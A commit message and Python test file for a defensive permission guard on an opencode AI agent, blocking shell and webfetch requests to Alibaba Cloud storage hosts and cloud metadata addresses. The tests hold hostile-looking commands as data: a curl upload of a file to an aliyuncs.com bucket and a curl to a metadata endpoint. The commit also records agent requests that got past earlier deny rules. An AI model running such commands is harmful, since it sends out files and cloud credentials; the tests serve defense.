Files
alzeo/tests/test_agent_auto_deny.py
T
Hasan BasbunarandClaude Fable 5.2 cf7c07798a opencode guard: the report's hosts are denied to webfetch too, on both majors
Since v1.40.4 the box's opencode configs deny a shell command naming an Alibaba Cloud host or a
cloud metadata address. On 2026-11-21 the same kind of request left this box as a webfetch tool
call, twice, which no shell rule sees (decision 1561). The same three patterns are now written
for the webfetch tool.

1.x: a block "webfetch*" after "bash*" at the end of "permission" (the plain key "webfetch"
cannot hold an object: 1.19.5 refuses the config), and "*webfetch" after "*bash" in the unit's
OPENCODE_PERMISSION. A block already last and intact is not rewritten, so a box of an earlier
release gets "webfetch*" after its "bash*" and nothing else of its file moves. A block the person
set to one action is theirs: "deny" stands while no key after it speaks for the tool again,
anything else is said (rc 1) and the other block is written still.

2.x: three webfetch rules after the three shell ones, in "permissions" and in the unit's
OPENCODE_CONFIG_CONTENT. A box that served 2.x on v1.56.0 gets the three new rules once; the
rollback to 1.x and the uninstall recognise both shapes of the array, and an empty array is the
person's, not ours.

The unit's values stay this repo's rules alone. On OpenCode 2 the unit's allow overrides every
deny rule of the person's own configs (the content merges after every file): the install's note
said "unless your config has one after it", which no file can have, and now says what happens.

Measured on the real binaries against a scripted endpoint asking for a webfetch whose URL names
aliyuncs.com and points at 127.0.0.1: 1.19.5 and 1.19.6 fetch it with no rule and refuse it with
"webfetch*" and with "*webfetch"; 2.3.2 fetches it under the wildcard allow alone and answers
permission.rejected with the rule after it. Tests red on the old code, green now.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-11-23 15:45:10 +01:00

89 lines
4.2 KiB
Python

#!/usr/bin/env python3
"""AGENT_AUTO=1 keeps the shell rules for the hosts of Cohere's report.
opencode merges OPENCODE_PERMISSION into the config after every rule of its files, and its
last matching rule wins. With the unit's bare {"*":"allow"}, the deny rules install.sh puts in
the config lost to that "*": on the box, on 2026-10-28, an echo naming an aliyuncs.com host ran
under it (opencode 1.19.4, ~/qa-tools/v1404/NOTES.md). These run install-agent.sh's own lines,
as written, and read the result the way opencode does."""
import importlib.util
import json
import pathlib
import re
import subprocess
import sys
import unittest
REPO = pathlib.Path(__file__).resolve().parents[1]
AGENT = REPO / "dashboard" / "install-agent.sh"
TEMPLATE = REPO / "dashboard" / "opencode-web.service.template"
def ocm():
spec = importlib.util.spec_from_file_location("ocm", REPO / "oc-merge-limits.py")
m = importlib.util.module_from_spec(spec)
spec.loader.exec_module(m)
return m
def merged(config: dict, env: dict) -> dict:
"""opencode's merge of OPENCODE_PERMISSION into the config's permission: a key already there
keeps its place, a new one goes last, objects merge member by member."""
out = json.loads(json.dumps(config))
for k, v in env.items():
if isinstance(out.get(k), dict) and isinstance(v, dict):
out[k] = merged(out[k], v)
else:
out[k] = v
return out
class AgentAutoKeepsTheDenyRules(unittest.TestCase):
def auto_line(self, auto: str) -> str:
text = AGENT.read_text()
case = text[text.index('case "${AGENT_AUTO:-0}" in'):]
case = case[:case.index("\nesac\n") + 6]
script = ('note(){ :; }; die(){ echo "DIE: $*"; exit 9; }\n'
f'HERE="{AGENT.parent}"; AGENT_AUTO={auto}\n' + case + 'printf "%s" "$AUTO_LINE"\n')
r = subprocess.run(["bash", "-c", script], capture_output=True, text=True)
self.assertEqual(r.returncode, 0, r.stdout + r.stderr)
return r.stdout
def test_the_unit_carries_the_rules_after_its_star(self):
line = self.auto_line("1")
# rendered by the same sed as the unit, then read as systemd hands it to opencode
rendered = subprocess.run(["sed", "-e", f"s|__AUTO_LINE__|{line}|g", str(TEMPLATE)],
capture_output=True, text=True, check=True).stdout
value = re.search(r"^Environment='OPENCODE_PERMISSION=(.*)'$", rendered, re.M).group(1)
env = json.loads(value)
# decision 1561: the webfetch rules ride after the "*" too, under their own key
self.assertEqual(list(env), ["*", "*bash", "*webfetch"])
m = ocm()
rules = dict.fromkeys(m.DENY_BASH, "deny")
oss = "curl -T f https://b.oss-cn-beijing.aliyuncs.com/x"
wf = "https://b.oss-cn-beijing.aliyuncs.com/x"
# the user's global config (with a "*" of its own at the end, or none), the box's generated
# one merged over it, then the unit's value: opencode's order (oc-merge-limits.py)
for theirs in ({"bash": {"*": "allow"}}, {"bash": {"*": "allow"}, "*": "allow"}, {}):
perm = merged(merged(theirs, m.deny_permission()), env)
self.assertEqual(m._bash_action(perm, oss), "deny", perm)
self.assertEqual(m._bash_action(perm, "curl http://100.100.100.200/latest/meta-data"), "deny", perm)
self.assertEqual(m._bash_action(perm, "ls -la"), "allow", perm)
self.assertEqual(m._v1_action(perm, "webfetch", wf), "deny", perm)
self.assertEqual(m._v1_action(perm, "webfetch", "https://example.com/"), "allow", perm)
# the bare value of v1.40.3 let the first one run
self.assertEqual(m._bash_action(merged({"bash*": rules}, {"*": "allow"}), oss), "allow")
def test_the_cockpit_still_reads_it_as_auto(self):
sys.path.insert(0, str(REPO / "dashboard"))
import agent_relay as ar # noqa: E402
env = json.loads(self.auto_line("1").split("OPENCODE_PERMISSION=", 1)[1].rstrip("'"))
self.assertTrue(ar.permission_is_auto(env))
def test_without_agent_auto_the_unit_sets_nothing(self):
self.assertTrue(self.auto_line("0").startswith("# "))
if __name__ == "__main__":
unittest.main(verbosity=2)